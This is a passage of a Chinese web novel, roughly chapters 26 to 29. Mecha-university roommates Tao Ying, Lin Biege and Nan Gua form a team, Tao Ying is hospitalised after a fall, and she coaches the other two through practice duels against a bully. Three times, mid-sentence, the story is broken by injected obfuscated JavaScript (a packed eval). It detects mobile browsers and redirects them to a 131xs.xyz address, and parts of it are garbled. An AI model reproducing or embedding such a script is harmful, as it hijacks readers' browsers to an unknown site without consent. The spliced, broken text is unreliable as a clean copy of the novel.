“不好意思，刚刚有点想死。”南卦叹了口气。 “可以理解。”“人之常情。”“俺也一样。” “不过机甲文学是什么专业，汉字是可以这样排列组合的吗？” “是一门涉及机甲哲学、历史、未来探索的综合专业……听说毕业设计是构建自己的机甲世界。” ……听上去确实不太赚钱。 见对方眼神中少了点难过，陶影往前迈了一步，拉近距离，顺势给她递去纸巾。 南卦吸吸鼻子，往椅子前挪了挪。 “你们也是被莱大的头衔坑来的？” 陶影简单解释，她原本想读的是机甲系统专业，因为各种理由现在被迫在这里开机甲。 “同病相怜，”南卦连连叹气，又问林别歌，“你呢？” “我……不算吧，我分数可上不了莱大，”林别歌挠头，“我是因为食堂的饭菜来的——虽然也被骗了。” 三个人因为类似的经历一下子就熟了起来，正好老师发了个消息说临时有事，课程推迟。 她们缩在寝室里，大聊特聊几个小时。 过了饭点，林别歌在吃吃吃打游戏。 南卦接受了现实，拿着光脑，借了陶影的笔记，开始恶补这段时间落下的课程。 陶影累得好像被车来回碾压几十次，足足睡了五个小时午觉，才昏昏沉沉起床。 今天是机甲课程组队的最后一天，陶影打开光脑，开始填表。 林别歌加入队伍，组队要三个人，剩下的一个…… 陶影侧过身。 “课程组队明天就要截止了，南瓜你找到队友了吗？” 南卦正在啃食肉干，听到陶影的话，猛地抬起头，险些被噎住。 南卦小心翼翼道：“什么组队呀？” “机甲课程，强制三到四人组队。” 很显然，南卦刚来学校，办完入学手续就不错了，根本没机会知道这件事。 “明天就截止了吗？但，但是我不会开机甲，在学校里谁也不认识，”南卦紧张得开始冒汗，“要是没有人愿意和我组队怎么办？要是我挂科怎么办，要是补考也过不了，我留级，最后连毕业都不行怎么办？” 南卦肉眼可见开始焦虑。 她走来走去，像动物园里刻板的动物，最后打开窗户，试图吹风冷静一下。 片刻后，南卦转过头，凄惨一笑：“我果然还是想死。” 陶影严肃道：“如果担心找不到队友的话，可以跟我们一队，正好缺人。” 南卦泪眼婆娑：“可以吗？但我能力不太行，会拖累你们的。” “你挺优秀的，不存在拖累。” 南卦想了想，点点头，从窗台上爬了下来。 “那，那先不死了，组队加我一个吧，谢谢你，小影。” “不客气，恭喜你又多活了一天。” 陶影转过头。 “小林同学，你的意见是？” 林别歌：“……我没意见。” 现在轮到她有点想死了。 26. 第 26 章 很快就到了第一次上机课的日子。学生们来到场地，按照组队顺序排好队。 场地内的气氛有点紧张，又有点兴奋，毕竟对大多数学生来说，这是他们第一次接触机甲设备，不是全息游戏，也不是隔着屏幕的影像。 而是真正的机甲。 老旧的仓库门缓缓打开，尘光飘散，推出仓库内的数台机甲。 人形机甲，都是同一个型号。 机体全身赤红，头部一点白色，因为使用过度，涂装有些斑驳。 型号是…… 陶影回想了一下。 GarciaValentineX。 编号G-VX-89，加西亚电子出品，全能标准型机甲，高五米，重量六吨左右，是通过电力运作的小型机甲。 代号来源是设计者的名字。因为Valentine有情人节的意思，所以也有人管这个型号叫“情人节号”。 不过陶影一般叫它VX-89。 型号老了点，但稳定性还不错。用作练习机是合理的。就是原装电池质量不太行，经常出问题。 有同学因为仓库的灰尘开始捂着嘴咳嗽。 “这机甲都多久没用了？真的能启动吗？” “才六台机甲？那不是一次只能有两个队伍用？” “一个班五十几个人，按课程3v3对战来算，也得分成八组了，一对对练习，这得排队到什么时候？莱门大学就不能多拨一点经费？” “有什么办法，我们学院又不是亲生的。” 姬亦绕机甲检查了一圈，在大家期待的眼神中，毫无意外地给出一个不好的消息。 “大家先跑五圈吧。机甲掉电了，得先加压充下电。” “啊——”大家发出失望的声音。 “再说话就加三圈。” 姬老师说话就像鞭子抽在身上一样，非常有力。 学生们默契地闭上嘴，迅速排成一队，开始跑步。 林别歌体质优越，飞一样地冲了出去，在前几个领跑。南卦虽然看上去弱弱的，但一直很平稳地跑着。 陶影一开始还能勉强跟上队伍，在跑到半圈的时候，呼吸就开始不畅了。 南卦这时候正好跑到第二圈，她慢下速度来，和陶影并排。 “小影，你没事吧，脸色好差。” 陶影说不出话来，只能手势示意南卦不用管她，先跑。 南卦犹豫了一下，小声说：“那你要是坚持不住了，一定别硬撑啊，身体重要。” 说着她加速往前。 姬老师懒洋洋地打开仓库，插好变压器电源，不知道从哪里拖来一条躺椅，悠闲地躺在操场上晒太阳。 很快，操场上只剩下陶影一个。 大家跑完了，都在路边躺着大喘气。 “这人谁啊？是我们班的吗？她怎么还没跑完？” 有人来到跑道边仔细观察了一下，恍然大悟：“哦——我想起来了，她是体质F的那个学生。” “就她呀。前几天没看见她，我还以为她退学了呢。” “身体那么差开什么机甲，”旁边有人冷哼一声，“就该退学，免得拖人后腿。” “她是谁啊，感觉对小影敌意很重的样子。”南卦小声道。 林别歌不好意思地挠挠头。 “她之前邀请我组队来着，我不是跟你们组了吗，就拒绝她了，然后她知道影子体质F级之后，就有点不服气。” 南卦小声道：“体质F？你是说小影吗？” “是哦，好像还没告诉过你。她体质F。” 林别歌本来以为南卦会有种“队友竟然如此不靠谱！”的失落感，没想到南卦“哇”了一声。 “她好厉害。” 林别歌：“？” 她刚刚是耳朵出问题了吧？ “体质F厉害的点在……？” “独特啊！” 说着南卦从兜里掏出速写本，开始对着陶影跑步的样子哐哐画。画了一会儿，突然开始45度角仰望天空，俨然已经沉浸在了自己的艺术里。 林别歌：“……” 你也挺独特的。 林别歌叹了口气。 很好。一个脑子有问题，一个身体有问题。 她们队现在问题大了。 而另一边，陶影在操场上跑跑停停十分钟后，实在跑不动了——准确地说，走不动了。 一口气一口气地喘，感觉肺泡都要拉丝了。 陶影咳嗽两下，决定停下来休息。这时，右脚的鞋底突然传来咯吱一声，一阵刺痛后，陶影重心一歪，身体猛地向前扑去。 一声闷响，陶影摔倒在地。 …… 谁家好人踩个石子都能平地摔啊！ 旁边同学一愣，赶忙伸手去扶，但看陶影的脸色，又觉得不能随便动她。 只能大喊：“老师，这里有同学体力不支倒下了！” 白助教飞快地跑了过来，问陶影有没有事。陶影缓了一下，扶着膝盖站了起来。 “没事，只是摔了一下，起来就好。” “同学，你的膝盖擦伤了，我帮你包一下，你先坐在椅子上——啊啊同学你怎么晕倒了！！！” 白助教发出尖锐爆鸣声。 星历1225年，莱门大学，某脆皮大学生因为跑步摔倒，住进医疗舱。 班级的第一次上机课，因为机甲直到下课时间都没补充好能源，以及这名大学生的晕倒，宣布告吹。 此事因为过于离奇，在校报上亦有记载。 · 自此一晕，陶影在学校彻底出名。 “听说你们班那个体质F的学生，哪怕晕倒了都还坚持训练？” “她跑三圈之后被担架抬走了。” “没跑三圈，我看得很清楚，她是走十步，停一分钟，走十步，再停一分钟的频率。算是走了三圈。” “听说她还晕血！” “虽然我们学院本来就没什么脸，但这也太丢我们学院的脸了。” “但她精神力S。” “你还真信她精神力S啊。肯定是仪器出错了。星历元年到现在，你见过一个体质和精神力等级相差这么大的人吗？” “何况就算精神力很厉害，知觉机甲的机师要求也很高的，就连我们都会被筛掉。她？体质F？连排队竞争的资格都进没有。” 而此刻的陶影，正躺在病床上。 安详躺尸.jpg 本来以为只是小伤，第二天就打算回宿舍。谁知道出院前又扫描了一次身体情况，发现她膝盖骨折了。 要养半个月左右，上机课根本去不了。 谁家好人平地摔能摔到骨折啊。 事已至此，陶影决定先把其它机甲理论课程的作业提前做完。 上机课等恢复之后再恶补好了。 她点开“综合机甲开发课程”课程的课件。 这门课程，看名字就知道，和设计机甲有关，是门综合性很强的科目。 学生统一评价都是挺难的。 哪怕在莱门大学，学霸云集的地方，也不是每个人都敢选这门课。 但陶影毫不犹豫地选了，且拉着两位队友也选了。 授课教授安童，陶影认识，以前跟着她做过项目。 安童她非常看重学生的能力，给分也很实事求是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646879|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指望她期末师生情捞你一把，不存在的。全靠成绩说话。 但与之相对的，只要能拿出让安童满意的设计，她会直接给满分。 “小影，课程笔记帮你抄了一份。” 南卦的字迹很娟秀，工整，笔记内容非常完备，帮陶影省了不少事。 陶影接过笔记：“谢谢。” “不过小影，你真的确定只花三个月能设计出来老师满意的机甲吗？” “当然可以。只有这个你不用怀疑。南瓜……你在画什么？” “画你。” “画我？” 画她躺在床上绑着石膏的样子吗？ 陶影好奇地接过速写本，只见上面是一只绑着石膏的仿生人。 “嗯？这是什么意思？” “哦，哦——我就是看见什么画什么，”南卦挠挠脸颊，有些不好意思，“就是，不知道为什么，你给我的感觉有点像仿生人。” 陶影眉毛一挑。 好敏锐的观察力。 “你不喜欢，那我下次不画了。” “没有，画得挺好的。”陶影又把速写本往前翻了几页。里面大多都是她跟林别歌。 她的形象是仿生人，而林别歌的形象不知道为什么，是一条比格犬。 林比格同学吗。 陶影扑哧笑出声，把本子递了回去。 “挺贴的。” 南卦见陶影认同了自己的艺术，非常高兴地捧着本子。 “我还以为你不喜欢这些东西。” 陶影摇头，义正词严：“怎么会，我是个浪漫主义者。” 聊了一会儿，她们开始分工，陶影负责画机甲设计图，南卦提供一点外观美化的意见。 林别歌负责给她们带饭。 三人分工，设计图很快就完成了。 · 很快就到了第二次上机课。虽然陶影还在医疗舱躺着，但她的两位队友要开始训练了。 今日风和日丽。 队友早早去上课，陶影按了铃，想请护士帮忙把床推到窗户旁边。 机甲课的场地就在楼下，窗户那里正好可以看见。 护士不太赞成地拒绝了：“你需要休息。” 陶影：“那我只能自己过去了。” 说着陶影就瘸着腿一跳一跳，往窗户旁边去。 护士只能无奈地搬来轮椅，把陶影推到窗户边，还贴心地给她拿来一条小毯子，披在腿上。 医生特地叮嘱的，要多让这名学生休息。 再继续下去，真怕她嘎学校里了啊。 护士一脸痛苦。 据她观察，这名学生每天只睡四个小时，但第二天早上起来依旧非常精神。而且起床就开始看课程内容，看机甲对战视频，写报告，写分析。 护士不懂这位学生哪来这么多东西要分析。 好像是什么机甲联赛的录像。 但她这个情况难道还能参加联赛吗？ 这个都不提了，听那位活泼的林同学说，这位学生已经做完两门课的期末作业了。 但现在开学才一个月啊！ 这名学生只要醒着，就没休息过。一天全在提升自己，毫无娱乐时间。 自律得令人感到可怕。 “你昨晚好像就没怎么睡，再休息一下吧。实践课也要记笔记？” 护士轻声劝着，语气十分担忧。 陶影转着手里的笔，轻敲一下窗台。 她的语气轻快而不失力度，带着一种多年调度团队的从容。 “我是队长。” 陶影微微一笑。 “掌握队员和敌方动态是队长的基本职责。” 27. 第 27 章 “这种时候都还想着自己是队长，哎现在的学生，太努力了。” 虽然很不赞成，但敬佩。 护士摇头走出病房。 陶影提前在战术模拟区架设好了录像设备，她接通两位队友身上的通讯装置。 既然不能自己下场，就发挥场外优势——纵览全局吧。 陶影握着笔，左手按住耳麦。 “南瓜。” 那头传来回答：“收到！” “上场了，你第一次上机，注意安全。” “好。” 林别歌不太满意：“怎么就提醒她注意？我呢？友情呢？” 陶影：“相信以你的能力随时都能做到最好。” 林别歌仰着脖子非常自豪：“那是。” 真好哄啊。 陶影摇摇头。 一个队伍，需要了解每个人的战斗风格，才能分配好作战方案。 就目前陶影对两人的性格了解，林别歌应该是指哪儿打哪儿的类型，南卦……还不太清楚。 先看看她们这场对战会打得怎样。 陶影拉近了镜头。 她们队伍只有两个人上场，所以对方也只上两个人。 二对二。 赛前打招呼的环节，南卦弱弱地上去，礼貌地说“请多指教”，对面的黄毛男上下打量了一下她，嗤笑一声，爱理不理地转过头。 南卦对人的恶意非常敏感，显然不擅长处理这种场合。 她手抓着衣摆，眼睛直接红了，说不出话来。 欺负弱小啊？ 林别歌看队友被欺负，气一下子上来，转头大声道：“喂，你们有点礼貌行不行？” 三名男生中有一个似乎想过来道歉，但被那黄毛拉住了。 黄毛一脸不耐烦。 “跟她们打招呼，她们配吗？有什么打的必要，浪费时间。” “就是，赢了都胜之不武。” “你们别这么说，很伤人的。” “怎么，我还说错了不成，看她那个柔弱的样子。” 黄毛轻视地朝这边瞄了一眼。 别人小声蛐蛐，他大声蝈蝈。 南卦听着他们的话，突然呼吸急促，浑身颤抖起来。她抓住林别歌的手，腿软有些站不住。 以陶影的经验来看，是惊恐发作。 陶影紧皱眉头，按住耳机，迅速给出指令。 “林别歌，捂住南瓜的嘴。” “南瓜，鼻子吸气，深呼吸。吸4秒，屏息2秒，吐气6秒——对，就是这样。” “别紧张，我们在这里，你很安全。” 在陶影的安抚下，南卦慢慢呼吸缓了过来。 她小巧的鼻头红红的，看上去可怜兮兮。 南卦侧过身擦了一把眼泪。 “谢，谢谢，给你们添麻烦了。我不是故意的，就是有时候控制不了眼泪。” 林别歌啧了一声，从兜里掏出包皱巴巴的纸巾递了过去。 “别怕，他这种人我打工的时候见多了，就是欺软怕硬。说这么大声，故意让你听见，什么东西真是。” “我没事了，继续上课吧。” 陶影关心道：“真的没事？如果不舒服，可以休息。” “我可以，”南卦说话声小小的，但语气坚定，“不想真的被当成软弱的人。就算输，我也，我也不能逃避。逃避的话，一切就结束了。” 嗯？她这个性格……陶影有些惊讶，但转瞬又觉得挺合理的。 天天爬窗台想死，但到现在还活着。 某种意义上来说，非常坚强。 陶影想了想，在南卦的性格分析栏写下一行【情绪不太稳定，但意志力强】，然后抬头道。 “那就继续吧。” 姬亦老师姗姗来迟，开始主持局面。在听白助教说完刚刚发生的事后，她面目慈善。 然后出手拍了黄毛后脑勺一巴掌。 她严肃道：“对比赛的对手要有最基本的尊重，如果连这种基本礼仪都不遵守，那不用上我的课了。” “不上就不上，”那黄毛小声道，“能来这种破学院上课，你的水平也不见得有多好。” “孙荡。”他的队友赶忙拍了他一下，“你不要学分啦。” 孙荡这才哼了声，慢吞吞的过来打招呼。 他草草地朝南卦伸手：“孙荡。” 另一位友好点的男生握住林别歌的手：“周真，请多指教。” 分别鞠躬之后。四个人爬上了机甲。 姬亦老师敲敲手中的记分板，开始解释对战的基本规则。 “3v3的训练对战……哦，你们是二对二，总之，任意一方全员认输，或者机甲失去行动能力，则比赛结束。记住吧。各就各位。” “——对战开始。” 哨声响起的瞬间，四台机甲瞬间陷入了混战。 说实话，大家都是在乱打，没有什么战术可以分析。 南卦精神紧张，手又开始打抖。 明明之前都恶补过机甲知识，但真正上机是另外一回事。 “小影，我按了开机键，一直没反应！” 林别歌抢答：“你提啊！提把手！” “可是引擎它不启动！” 陶影扶额：“南卦，别听比格的，按左四下三。可能是系统卡了，你重启一下。” “至于林比格，你！那个把手是用来调整方向的，别告诉我你拉到底了。” 林别歌惊恐：“完了，手习惯地就上去了，我以前打工的机子上，这个是加速键！” “你打的什么工？” “开挖掘机！” “……”究竟打了些什么奇怪的工啊！ 林别歌错拉把手，摔倒在地，调整了一会儿，刚要站起来，对面机甲一个扫腿，插到她的VX-89腿部。 在陶影的提醒下，林别歌迅速避开了攻击。 她高兴地从驾驶位置跳起来。 “嘿，看我，厉害吧，多会举一反三！” 说完，林别歌乘胜追击，冲上去就一个穿刺，把孙荡的机体推倒在地。 “叫你欺负我队友！” 两个人滚在地上，打成一团，谁也没占上风。 陶影观测了一会儿，面无表情地在战斗记录一栏，写下一行字。 【像小学生打架，战斗形式非常之幼稚。】 而另一边，南卦的情况不太乐观。因为机甲启动迟缓，她失去了先机。 越是慌，节奏就越乱。 而周真则非常游刃有余。甚至让了南卦几分钟。 据林别歌说，周真开过机甲，原本是想去读军校的，但理论课分数太低，才来了这里。 体质中上，是个强劲的对手。 他要攻击了。 陶影看得仔细。 液压驱动器喀哒作响，机甲后背喷出一道白雾。 周真猛地往前一踏。 战术模拟区的地面震动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651285|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而下一刻—— 笨重的金属机甲，弓身积蓄能量，如同离弦之箭，瞬间冲到南卦面前。 攻击来得太急，南卦没有准备，手忙脚乱，一通乱按。 她操作的机甲，随着她的节奏，开始混乱地挥舞手脚。 毫无章法可言。 “切，我就说她弱吧。”孙荡被按在地上，不忘转头嘲讽一句。 林别歌一手掐住孙荡的脖子，啪一下，她的巴掌就扇在了孙荡机甲头上。 “还有心思分心？我抽死你。” 这边，周真的机甲跳起，利用重力，一掌劈向南卦。 他打算用这一招结束对战。 但下一刻，周真的预想并没有发生，他奇怪地“咦”了一声。 南卦的机甲动得乱七八糟，但竟然精准地挡住了她的攻击？ 他队频问：“孙荡，你看清刚刚是怎么回事了吗。” “看见了，没什么特别的，不就碰巧挡住了一次攻击吗，”孙荡躺在地上，挡住林别歌扇来的手，随口道，“你就这毛病，老把对手想得太厉害。” 陶影站起身，靠在窗台上，慢慢地，她脸色认真起来。 南卦连续三次挡住了周真的攻击。 不像巧合。 但也不像是有意识地阻挡。 南卦下意识防御住了这三次强烈的攻击。 很有天赋。但还是差了一点。 光靠天赋是不能赢的。 果然，因为经验的差距，在周真第四次攻击的时候，南卦被按在地上，直接拔掉了电源线。 姬亦懒洋洋宣布：“南卦倒地，2：1。” 2v1，战况瞬间就发生了转变。 陶影提醒：“林，小心，周真朝你过去了。” 林别歌还在和孙荡互掐，没人提醒，她都没精力注意另外一边。 她气喘吁吁地操纵机甲转身，背对地面，机甲重重落下，压住孙荡。 而周真在她上方，伸出手掌，打算跳劈。 林别歌痛苦地：“不是，大哥你是只会这一招吗。” 林别歌大喊一声“兔子蹬腿”，正要一腿踢到周真身上，突然HUD面板一片漆黑。 周真没有攻击，而是直接遮住了她VX-89的眼睛。 下一个瞬间，林别歌被按倒在地。 输了。 陶影看了一眼光脑，比赛时长仅仅十五分钟。 坚持时间比她预想的长一点。 林别歌摔得腰酸腿疼，周真拉起她的机甲。 “承让。” “不会，你挺强的。” 孙荡爬下机甲，朝她们做了个大拇指向下的手势。 “你看，我就说赢不了吧。何必自取其辱。” 林别歌冷笑一声：“刚刚被我按在地上狂扇巴掌的人是谁啊？” 孙荡无法反驳，但他会恼羞成怒。 “你们队伍可真有意思，一个躺医疗舱，一个哭唧唧搞艺术，剩下一个脑子也不好使。我没有恶意，但建议你们换个专业吧。” “说谁呢！” 林别歌大骂一通，直到晚上带着饭回医疗舱，还没消气。 吃完饭，陶影拉着两位室友，开始复盘今天的对战。 她翻了下记录密密麻麻的册子，若有所思。 复盘角度很多，先从最重要的东西开始吧。 陶影清清嗓子。 “首先，你们两个人的配合——堪称是烂。” 28. 第 28 章 “首先，你们两个人的配合——堪称是烂。” 南卦、林别歌：“……” 陶影叹气。 她，已经尽力搜寻出生以来积累的星际语词库了，但找不到更委婉的形容词。 陶影从轮椅上站起来，拉出透明信息板，上面显示出战术模拟区的俯视图。 然后在俯视图上圈出两个点位。 点位旁边，是她截取的战斗画面，陶影逐帧分析。 “这是你们俩开始站的位置。林别歌一开始就冲得太猛，完全没有分析对手的意识。” “南卦——挡住周真的攻击三次，作为第一次上机的人来说，非常厉害。但你的战斗模式很被动，从头到尾，你没有一次主动攻击。” “你们俩各干各的，完全没有配合可言。” 林别歌弱弱地举手：“配合是差了点，但我好歹也和那个黄毛打得有来有回，你都不夸我两句。而且我差点干掉周真了。” 是说她那招“兔子蹬腿”吧。 陶影微笑：“周真其实可以直接拔你电线的，但他让了你十秒，特地等你转身了才下手。” “怎么可能！” 林别歌本想反驳来的，但信息板一闪，上面开始播放当时的录像。 怎么还有三个机位啊！全方位无死角录下了她被拔电线的过程！ 简直公开处刑！ ……但确实是对方让了她。 林别歌窝窝囊囊地坐下：“那你说怎么才能赢？” 陶影：“不好说，获取的数据还不够。需要你们再多对战几场才能有结论。” “不过我有一个办法，可以增大赢的机率。” 林别歌眼睛一亮：“什么办法！” “你开局跟在南卦身边，负责帮她挡住所有的伤害——南卦负责攻击。” 两位队友认真地点头。 “嗯，然后呢？下一步作战是什么？” 陶影摊手：“没有了，就这样。” “就这样？”林别歌一个后仰，“不是，靠不靠谱啊你这人，在旁边观察分析了那么久，最后只有这么一个建议？” “我要是写个长篇大论的《林比格&南瓜性格及战斗风格分析》，你有耐心看吗。” “没有。”林别歌斩钉截铁。 “那不得了。”陶影摊手。 …… 很快，第二次上机课到了。陶影骨折还没养好，不过医生建议她可以适当活动活动，她干脆也一起下楼，在观战区域坐着见习。 还是上次的配置，还是上次的对手，周真&孙荡。 两位队友想起陶影的嘱咐。 “林别歌负责保护南卦，南卦负责攻击。”就这么一句简单的指令。 林别歌还是觉得哪里不太对，她这么勇猛的一个人，肯定是擅长攻击的啊！为什么要让她负责保护。 南卦，看上去那么柔弱，很明显应该是被保护的一方啊！ 林别歌的表情看上去不像太相信，但她也没有其它办法，只能试试。 两位队友爬上机甲，系好安全带，朝陶影挥挥手。 “对战开始！” 按照计划，林别歌在口哨声后并没有猛冲，而是后退了一步，和南卦背靠背。 机甲发出令人安心的撞击声。 “我上了！”南卦声音中带着一丝不安。 她不知道能不能赢，但还是果断地朝周真攻击去。 “磅——”林别歌从背后帮她挡住一击，侧身正好看到，南卦操纵着笨重的机甲，找准死角，手飞快地伸到孙荡的后背——那里是两根电源线。 ——但可惜挥空了。 孙荡虽然避开了攻击，但非常勉强，他后背发凉，迅速后跳几步。 南卦的动作，和上次比起来，似乎熟练了很多。 林别歌吃惊道：“南瓜你什么情况，偷偷练了？” 确实偷偷练了。 陶影帮忙解释：“南卦自从上次输了，天天都在校园通APP蹲点，就为了抢机甲模拟舱练习名额。” 林别歌咧嘴：“看来你也很想赢嘛。” “至少不想输。” “厉害嘛我们小南瓜——哎唷——” 说着，林别歌挡在南卦身前，同时挨了周真和孙荡两记拳头。 一开始，两边勉强维持着势均力敌的状态，但随着时间的变化，周真逐渐掌控了节奏。 南卦的攻击开始被带着走，随着战斗越来越混乱，她心态稳不住，崩了。 开局的平衡，很快就被打破。 而林别歌就在保护她的过程中疯狂挨打。 再一次往后退开，林别歌满头大汗。 “不是，影子，你确定这个战术没有问题吗？我们被压着打啊！” 还没等到回答，林别歌突然被一脚踹飞。机甲在地上弹飞好几次，最后砰砰地撞到墙上。 墙裂开了，林别歌也有点裂开。 这要怎么赢！ 南卦担心地侧头看了她一眼。 “林别歌，你没事吧！” “没——嘶。我撞掉牙了。” 林别歌疼得要死，还没来得及起身，就被孙荡抓住头，按在地上。 孙荡操纵着机甲，先是用膝盖顶住林别歌胸口，扇了她两巴掌，随后又觉得不太尽兴，站起身，高抬起脚，对着林别歌胸口重重踩下—— 场内一时充满了钢铁碰撞的声音，震得观战区同学们的胸腔都在抖。 “怎么了？上次揍我不是揍得挺得意的吗？怎么，现在笑不出来了？” “来啊，起来啊？继续扇我啊？” 孙荡语气嘲弄，洋洋得意：“我就说吧，劝你们早点换专业，你们根本就不适合——” 孙荡话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657875|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没说完，突然噎住了。 因为南卦的VX-89突然飞奔过来，以极其猛的攻势，直接将孙荡连人带机甲撞飞出去。 要不是周真在后面缓冲了一下，差点飞出战斗区域。 林别歌：“嚯，这一脚真是有力，南瓜，这是你今天最漂亮的一击，解气！……嗯？南卦？你怎么不回我？信号断了？” 陶影贴心解答：“没断。” 南卦把林别歌扶起来之后，就没有再说话。 林别歌傻楞楞的：“南瓜，你吓傻了啊？我没事，牙齿可以去医院种一颗的嘛，反正又不是我出钱，学校有保险的——南瓜？” 南卦没有回她，林别歌还想再说什么，就听见陶影私敲了她一下。 “林别歌，你先别动，也别跟南瓜说话。从现在开始，你就装自己牙掉了痛得不行。我有件事情想要确认。” “啥啊？” 确认啥啊？ 有什么事情是她不知道的吗？ 林别歌一脸懵逼。 而当她转过头的时候，大吃一惊。 南卦的机甲和刚才的动作形态完全不一样了。 不知道为什么，明明大家开的都是同一个型号的机甲，但南卦的VX-89……莫名有种，在生气的感觉。 南卦慢慢地走到操场旁边，侧身，弯腰，随后—— 倒着抱住了一边的公告牌。 摇晃两下。 白助教的眼皮开始狂跳。 他，作为姬亦的副官。在战场上，算是对危险非常有“直觉”的一个人了。 他直觉，现在有什么对他非常不利的事情，要发生了。 公告牌的柱子有一人腰粗，深深地插进地里，这样的柱子，一共四根。 如果没有极大的力量去摇，根本纹丝不动。 而南卦一直不停摇动。 同学一脸懵逼：“她这是在干嘛？” 林别歌一脸着急地转向观众席，向陶影求助。 “南卦不会精神又崩溃了吧，我看她都要吃柱子了，影子，救救，救救队友！” 观战区的陶影靠在栏杆上，两手捧着咖啡，一副看热闹的表情。 她眯起眼：“放心，南瓜没崩溃。不过情况可能比崩溃了后果更严重吧——我猜？” “咔啦——砰砰砰”，一阵电线断裂的声音。 VX-89的液压系统高速工作，到达了关节力量的极限，不停喷出白雾。但哪怕有大量的冷却液，依旧炸出火花。 “你，不准，欺负，我，队友。” 南卦的机甲内传来一声压低的低语声。 随后公告牌的四根柱子齐齐断裂，哗啦啦落下一地的石块。 南卦将公告牌连根拔起。 孙荡：“？” 林别歌：“？？” 所有同学：“？？？？？” 29. 第 29 章 南卦拔出公告牌，噔咚噔咚地往前。 她迈出弓步，然后像击打棒球一样，举起公告牌，朝着孙荡的头部，全力挥舞。 “砰——” 孙荡机甲的头部被扇了出去。 哦。超出想象的。 陶影挑眉，视线随着那颗头移动。 头部绕场一周，骨碌碌滚到观战区的栏杆前。 正对着陶影的脸。 身边的同学从座位上跳起来，一阵惊呼。 陶影一动不动，思索片刻后，低下头，在战斗记录上写了一行字。 【一记完美的全垒打。】 孙荡坐在机甲内，顶着一头黄毛，似乎还不太清楚发生了什么。 面板怎么突然黑了？头顶又为什么有光线？那里不是有东西挡着吗？ 孙荡一脸懵逼地抬头。 机甲头部不知道什么时候不翼而飞。 而南卦手捏着他的驾驶舱，收紧，发出嘎嘣嘎嘣的不详声音。 她阴森森地看着他。 朝着孙荡，一字一顿。 “不准，欺负，我的，队友。听明白了吗？” “再有下次，我杀了你。” 说着她捏爆了机甲的手臂，一把甩到观战区前面。 同学们纷纷后退一步：“……” 性格柔弱的文艺少女，切开发现是精分女鬼啊！ · “事情就是这样，南卦同学用公告牌敲掉了孙荡机甲的脑袋。” “那问题三人组最后是赢了？” “算是吧。” 学生B一脸疑惑：“赢了就是赢了，输了就是输了，什么叫算是？” “呃，孙荡认输之后，南卦的机甲突然宕机。然后林别歌和周真扭打到一起，很久都没分出胜负，最后白助教实在看不下去了，大喊了一声‘别打了，经费啊，学院经费不够了’之类的，叫停了对战。” “所以算是平局？那她们水平也就一般嘛。” “说什么呢，这可是那个问题三人组！对她们来说平局也很厉害了好不好。我都不一定能打赢周真呢。”学生A小声嘟囔。 陶影伤好得差不多，拆掉石膏，下床走了两步。 医生观察一阵数据，将笔插到衣服口袋，点点头道：“今天就能回宿舍了，之后暂时注意不要剧烈运动。” “好的医生。” 回到宿舍，惯例的复盘时间，两位队友垂头丧气地推门而入。 林别歌拉过椅子，一屁股坐上去，趴在椅背上，连连叹气。 南卦一直站着，陶影拍拍身边的位置。 “坐吧。” 南卦小声说了句谢谢，端正地坐下了。 林别歌大倒苦水：“南卦那一记操作，真的很漂亮。她都给我制造那么多机会了，我还是没赢。本来有机会赢的，都怪我。” 林别歌有点丧气。 “我是不是其实没有机甲才能？” “你竟然会自我反省？”陶影惊讶。 “我以为比格通常不这样做。” 林别歌：“……” “不过反省的方向不对，”陶影慈祥地拍拍林别歌的脑袋，“你当然有机甲才能。” “虽然没赢，但得到的东西也许比赢了更多。” 陶影哗一下，从床头拉下软性便携显示屏。 “这次战斗，你们配合很好，林别歌，你在5分48秒、13分23秒、25分17秒的节点，帮队友挡下了三次致命攻击。还有二十几次小型攻击——我没仔细数，可能更多。” 林别歌指着自己：“啊？我吗？” 她有吗，她怎么不记得？ 陶影放出她们当时的对战录像。 果然，好几次孙荡从背后偷袭南卦，都被林别歌挡住了。 但她因为当时正在对战，根本没注意这些细节。 林别歌本来还有点丧气，看到自己成功救下队友的画面，瞬间心情upup。 她自信恢复：“俺果然厉害！” 南卦依旧有些低落：“别歌老师确实很厉害，但我总是在被保护，没办法保护别人……我太弱了。” 弱吗？ 你那记全垒打可不是这么说的。 “看完这段录像再下结论吧。” 陶影笑着点击播放键。 “你避开攻击的次数，比林别歌保护你的次数更多。你的观察力，尤其是察觉危险的能力，非常厉害。甚至这里。” 陶影放大了画面，连续回放。 画面中，南卦驾驶的机甲，身体有一个大幅度的扭转——不知道是不是巧合，她竟然躲开了周真一记强力攻击。 从背后的攻击。 